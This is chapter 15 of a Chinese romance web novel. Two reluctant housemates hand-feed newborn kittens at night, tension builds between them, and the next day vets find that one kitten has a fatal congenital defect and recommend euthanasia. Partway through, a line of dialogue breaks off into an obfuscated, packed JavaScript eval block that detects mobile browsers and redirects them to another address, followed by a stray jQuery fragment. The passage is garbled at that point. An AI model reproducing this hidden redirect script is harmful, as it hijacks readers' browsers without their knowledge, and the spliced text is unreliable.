15. 第 15 章

作品:《禁忌悖论

    裴培一脸歉意,指了指凌嚣刚放下的奶猫,“够时间喂奶了。这只特别皮,我刚拿奶瓶,它就往外爬,我一着急,转身就把奶粉罐碰倒了。”


    凌嚣的目光扫过那几只张着小嘴寻找奶源的小东西,再看看裴培沾着奶粉的手指和额头的汗珠,心头被吵醒的烦躁散了许多。


    他也坐在地上,“怎么喂?就这样?”


    “嗯”,裴培拿起旁边一个小注射器,又有点不确定,“宠物店的人说,要用这个或者奶瓶,一点点滴到它们嘴里。”


    两人显然都是彻头彻尾的新手。


    凌嚣没再废话,直接掏出手机搜视频。裴培也拿起自己的手机。


    两人各自埋头,在搜索框里输入“如何喂养新生奶猫”。


    客厅里顿时只剩下讲解声和小奶猫的“咪呜”声,交织出奇异的深夜氛围。


    “奶要温热的,不能烫也不能凉,最好是接近体温的感觉”,裴培看着屏幕,小声复述着要点。


    凌嚣应了一声,取了点温水回来,把宠物奶瓶浸在里面保温。


    他照着视频里演示的样子,用拇指和食指小心翼翼地固定住一只猫崽的头颈部。


    裴培深吸一口气,拿起那个装了温奶的注射器,缓缓凑近小猫的嘴边。


    小家伙闻到了奶味,小脑袋本能地往前拱,粉嫩的小舌头伸出来。


    裴培屏住呼吸,慢慢推动活塞,一滴奶珠颤巍巍地落在小猫唇边。


    它立刻急切地舔舐起来,喉咙里发出满足的咕噜声。


    “对对对,就是这样!”裴培紧绷的肩膀松了些,如释重负地笑了。


    凌嚣的目光从她握着注射器的手指上移开,落在她的侧脸上。


    灯光勾勒出她下颌的线条,在她低垂的眼睫下投下小片扇形的阴影。


    一股带着微甜果香的气息,若有似无地飘进他的鼻腔。


    这味道很熟悉,是凌嚣浴室里那瓶西柚味洗发水的味道。


    她在他家的浴室里,水流蜿蜒向下,抚过起伏的曲线,她用了他的洗发水……


    这个认知,让他固定小猫的手指几不可察地收紧了一下。


    “凌嚣?”裴培带着疑惑的声音响起,将他从瞬间的恍惚中拉回现实。


    凌嚣喉结不受控制地滚动了一下,掩饰性地移开目光,重新聚焦在掌心那只正努力吃奶的小猫身上。


    “你看这只,它小肚子是不是鼓起来了?”裴培没察觉那么多,只是指了指小猫圆润起来的小腹。


    “哦”,凌嚣动作略显僵硬地把那只吃饱了的小家伙放回毛巾上。小猫满足地蜷缩起来,发出细微的呼噜声。


    “换这只吧,它叫得最凶”,裴培拿起温好的奶瓶,凑近另一只一直不安分的小猫。


    两人继续磕磕绊绊地配合着,新手的操作充满了各种意外。


    小猫突然扭头不配合,奶滴偏了落在毛巾上;小猫吸得太急呛到,咳得小身体直抖,两人一阵手忙脚乱地拍抚;裴培手一滑,奶瓶差点脱手,被凌嚣眼疾手快地托住;凌嚣固定小猫的力道没掌握好,小猫不舒服地扭动抗议。


    深夜里,在几只脆弱小生命的包围下,两个平日里总是不对付的人,此刻越坐越近。


    喂到第三只的时候,空间更加逼仄起来。


    凌嚣半低着头,视线从裴培握着奶瓶的手指,滑到她抿起的唇瓣,再落到她低垂时露出的白皙后颈。


    那股西柚的香气,混合着淡淡的奶腥味,在暧昧的光线下,再度丝丝缕缕地缠绕上来。


    凌嚣的呼吸不自觉地放缓,变得轻浅,仿佛怕惊扰了什么。


    “这只好像吸不动了?”裴培放下奶瓶,检查着那只小猫的肚子,“应该也饱了。”


    “嗯?”凌嚣像是被惊醒。他突兀地起身,“你先喂,我去一下洗手间。”


    裴培看着他的背影,有些莫名其妙,但手上还有最后一只饿得直叫的小家伙,也顾不上多想,继续专注地对付起来。


    客卫里,凌嚣拧开水龙头,掬起一捧自来水泼在脸上。


    刺骨的凉意激得他一个激灵,混沌的头脑清醒了不少。


    他撑着洗手台,看着镜子里那个未褪尽燥热的男人,深吸了几口气。


    刚才那一瞬间的失神和随之而来的心猿意马,让他感到一种失控的烦躁。


    他讨厌这种感觉,尤其是在面对裴培的时候!


    等他彻底平复了紊乱的气息,再回到客厅,裴培已经收拾好了残局。


    四只小奶猫都吃得肚子滚圆,心满意足地蜷缩在毛巾上,互相依偎着睡了。


    裴培见凌嚣出来,立马迎上来,小声道:“刚才吵到你了不好意思,你快去休息吧,我等等轻点声音。”


    凌嚣没接这话茬,目光扫过客厅沙发。那儿搭着一条薄毯,还有个方形靠枕,再看走廊尽头的客卧,没有亮灯。


    他对着沙发抬了抬下巴,“你刚才不会就睡那里吧?”


    裴培点点头,理所当然道:“沙发挺好的,够我躺了,也方便随时起来看猫。”


    凌嚣看着她那张明明写满了倦意,却强撑着不在意的脸,有点无语。


    这人放着设施齐全、舒适宽敞的客卧大床不睡,非要蜷在沙发上受罪?


    这是什么自我折磨的苦行僧啊?


    他硬邦邦地甩出三个字:“跟我来。”


    他带着裴培进了客卧,暖白光倾泻而下,照亮了整个空间。


    房间是简洁的现代风,以黑白灰为主色调,但无论是墙面的质感、家具的用料还是细节处的五金件,都透露出不菲的价格。


    房间中央还有张铺着高支棉床品的Kingsize大床,蓬松的羽绒枕堆叠着,同色系的被子看上去柔软极了,整张床都散发着舒适睡眠的诱惑。


    凌嚣站在门口,侧身让开一点空间,“这周你睡这里。”


    裴培环顾了一下这个明显精心设计过的客房,一个问题鬼使神差地溜出了口:“你这地方是不是经常带女人回来住啊?”


    话一出口,裴培自己先石化了。


    她在说什么蠢话?!


    这问题低级、冒犯都算了,怎么听起来还有一点……醋意?


    她立刻意识到闯祸,舌头跟打了结似的,试图找补:“不是!凌嚣,我意思是……这房间收拾得太……太……”


    就在她卡壳的时候,凌嚣已经冲口而出,“你怎么会这样想我?!你是第一个!”


    空气仿佛在这刻被抽干,时间也停滞了。


    裴培僵在原地,瞳孔里映出凌嚣有些失控的表情。


    而对方,似乎也被自己这句话给惊住了。


    刚才两人那因为共同照顾小猫而悄然滋生的气氛,被这句话搅散,暧昧在室内不断发酵。


    凌嚣只觉得前所未有的狼狈感席卷全身,耳根的热度蔓延到整个脖颈。


    他迅速转身,“我去睡觉了!你没事不要叫我!”


    他走到走廊,像是为了强调什么,又咬着牙补充,“有事更不要叫我!”


    ——————————


    天大亮的时候,凌嚣睡得正沉,一阵急促的拍门声,又把他从美梦中生生拽了出来。


    这回他直接带着一身低气压下床,一把拉开房门,不耐烦道:“我不是说了,有事没事都别叫我?!”


    裴培没有说话,只是直接抓住了凌嚣的小臂,把他整个人往客厅方向拖拽。


    “你……”凌嚣本想缩回手,却看到了她一脸的惊惶。他语气缓了点,“干什么?”


    裴培将凌嚣拽到茶几边,那儿有只毛色最浅的猫崽正瘫软在毛巾上,小小的身体抽搐着,嘴边和身下的毛巾都沾着奶渍。


    她声音有些抖,“那只小猫吐了,情况很不好。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469556|201402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    凌嚣脑子里残存的睡意和起床气,瞬间蒸发得无影无踪。


    他蹲下身,凑近了看那只猫崽,眉头紧锁:“怎么回事?昨晚喂的时候不还好好的?怎么突然这样了?”


    裴培眼内都是自责,“我不知道,我不知道是不是我喂奶喂急了……还是它本身就生病了……”


    凌嚣也顾不上安慰裴培了,他将猫放进昨晚新买的猫包里,“来,我们去医院,最近的宠物急诊!”


    早晨的街道很安静,除了一些清洁工,就是出来晨运的老人。


    裴培抱着猫包坐在凌嚣的机车后座,一路没有说话。


    凌嚣从后视镜里,看到她整个人都是僵着的。


    他把油门拧得更深了一些。机车像一道黑色的闪电,在空旷的马路上疾驰。


    宠物急诊24小时亮着灯,值班医生是个看起来很干练的中年男人。


    裴培很快说明了情况,医生点点头,将小猫抱进检查室。


    裴培站在门外,心急却看不到里面的情景;凌嚣则靠在对面的墙上,双手插兜,看似随意,但嘴角一直紧抿着。


    时间一分一秒地过去,终于,检查室的门开了。


    医生走了出来,表情严肃。


    裴培立刻上前问,“怎么样了医生?”


    医生摘下口罩,“初步看,猫呕吐是因为呛奶了。喂食的时候可能稍微急了一点,或者它本身吸吮吞咽不太协调,导致奶液进了气管,引起了呕吐和呼吸困难。已经帮它清理了气道,现在呼吸平稳些了。”


    裴培眼里的惊惶褪去了大半,可她还来不及吁出一口气,又听到医生话锋一转。


    “但我们在做检查的时候,发现了一个更严重的问题。这只小猫的□□是闭锁的,先天性缺陷。”


    裴培眨了下眼睛,努力消化着这突如其来的消息,“什么意思?”


    医生解释道,“简单说,就是它没有正常的□□开口,排泄物无法排出。这种先天畸形在幼猫里的存活率非常低,即使立刻进行手术,它体质太弱,根本承受不了手术麻醉的风险。就算侥幸手术成功,后续的护理、感染关、发育关……每一关对它来说都是折磨。”


    医生顿了顿,给出了最后的建议,“以它目前的状态来看,最好的选择是……安乐死。你们考虑一下。”


    裴培无声地重复着医生的话,眼神有点失焦。


    凌嚣看她这样,本想伸手碰碰她,但手伸到一半又停住了。


    他转向医生,“这个诊断确定吗?有没有可能是误诊?”


    医生理解地点点头:“我明白你们的心情,这种诊断确实需要慎重。你们可以去其它设备更完善的宠物医院再确认一下,我们这里的检查结果可以带走。”


    凌嚣谢过医生,低头看着裴培,放柔了声音,“裴培?听到了吗?医生说了,呛奶不是你的错。这个□□的问题,我们再去找别的医生看看,说不定有办法呢?”


    裴培被他的声音唤回了一点意识,她机械地应着,“……嗯……再看看……”


    接下来几个小时,两人顶着疲倦,在早晨的城市里穿梭。


    凌嚣载着她,又跑了两家口碑不错的宠物医院,可给出的诊断基本一致——先天性□□闭锁,预后极差,安乐死是减少痛苦的人道选择。


    裴培一开始还问得很细,后面沉默地听着,沉默地接过新的报告单,沉默地跟在凌嚣身后离开。


    当两人走出第四家医院时,凌嚣调出导航,本来还想去第五家,裴培却拉了拉他的衣服。


    凌嚣停下脚步,侧过头:“嗯?”


    裴培摇着头,眼眶和鼻尖都有点红,“不用了。”


    “不用再去了”,她重复了一遍,“听医生的吧。”


    凌嚣沉默了一会,从裴培怀里拿过猫包,“那你在门口等着,我去把剩下的事情做了。”